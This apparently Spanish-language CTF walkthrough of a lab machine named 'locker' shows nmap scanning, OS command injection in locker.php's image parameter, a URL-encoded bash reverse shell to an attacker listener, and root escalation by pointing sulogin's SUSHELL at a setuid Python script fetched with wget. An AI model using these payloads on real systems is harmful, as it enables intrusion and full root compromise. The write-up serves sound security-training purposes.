Enumeración de servicios
El escaneo completo sólo descubre HTTP en el puerto 80. Al no existir SSH ni otros servicios remotos, la obtención de acceso debe partir de la aplicación web servida por Nginx:
❯ sudo nmap -p- -sS -n -Pn -oG 01-allPorts 192.168.1.140
❯ nmap -sCV -p80 -oN 02-targeted.txt 192.168.1.140
Starting Nmap 7.94 ( https://nmap.org ) at 2024-04-27 15:24 -04
Nmap scan report for 192.168.1.140
Host is up (0.00034s latency).
PORT STATE SERVICE VERSION
80/tcp open http nginx 1.14.2
|_http-server-header: nginx/1.14.2
|_http-title: Site doesn't have a title (text/html).
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 6.42 secondsDetección de OS Command Injection
El sitio carga imágenes mediante el parámetro image:
http://192.168.1.140/locker.php?image=1Insertamos ;id; para terminar el argumento esperado y añadir otro comando. La respuesta incluye la salida de id dentro del atributo src, lo que demuestra que el valor llega sin neutralizar a un intérprete y confirma OS Command Injection. La misma salida identifica a www-data como la cuenta del proceso web:
❯ curl 'http://192.168.1.140/locker.php?image=;id;'
<img src="data:image/jpg;base64,uid=33(www-data) gid=33(www-data) groups=33(www-data)
"width="150"height="150"/>Acceso inicial mediante una reverse shell
Reemplazamos el comando de prueba por una reverse shell de Bash. Los caracteres especiales se codifican en URL para que lleguen intactos al parámetro; antes de enviar la petición dejamos ncat escuchando en el puerto 1234:
❯ curl 'http://192.168.1.140/locker.php?image=;bash%20-c%20%22bash%20-i%20%3E%26%20/dev/tcp/192.168.1.3/1234%200%3E%261%22;'
❯ ncat -nlvp 1234
Ncat: Version 7.94 ( https://nmap.org/ncat )
Ncat: Listening on [::]:1234
Ncat: Listening on 0.0.0.0:1234
Ncat: Connection from 192.168.1.140:33684.
bash: cannot set terminal process group (369): Inappropriate ioctl for device
bash: no job control in this shell
www-data@locker:~/html$La conexión entrante confirma ejecución remota como www-data.
Enumeración local
Buscamos binarios SUID y encontramos /usr/sbin/sulogin. Al pertenecer a root, el programa inicia con UID efectivo privilegiado; todavía hace falta encontrar una forma de controlar qué intérprete ejecutará:
www-data@locker:~$ find / -perm -4000 2>/dev/null
...
/usr/sbin/sulogin
...Escalada mediante SUSHELL
Con la opción -e, sulogin consulta las variables SUSHELL o sushell para decidir qué intérprete iniciar. Como el entorno conserva un valor controlado por www-data, hacemos que el binario privilegiado ejecute nuestro script. El script fija los UID y GID reales a 0 antes de lanzar Bash, evitando que la nueva shell descarte el privilegio efectivo heredado:
❯ cat pwned.py
#!/usr/bin/python3
import os
def main():
os.setuid(0)
os.setgid(0)
os.system("/bin/bash")
if __name__ == "__main__":
main()Transferimos el script, lo hacemos ejecutable, apuntamos SUSHELL a su ruta y ejecutamos el binario SUID:
www-data@locker:/tmp$ wget http://192.168.1.3:8000/pwned.py
www-data@locker:/tmp$ chmod +x pwned.py
www-data@locker:/tmp$ export SUSHELL=/tmp/pwned.py
www-data@locker:/tmp$ sulogin -e
sulogin -e
Press Enter for maintenance
(or press Control-D to continue):
root@locker:~#El prompt cambia a root; verificamos con id, recuperamos la flag final y damos por completada la máquina.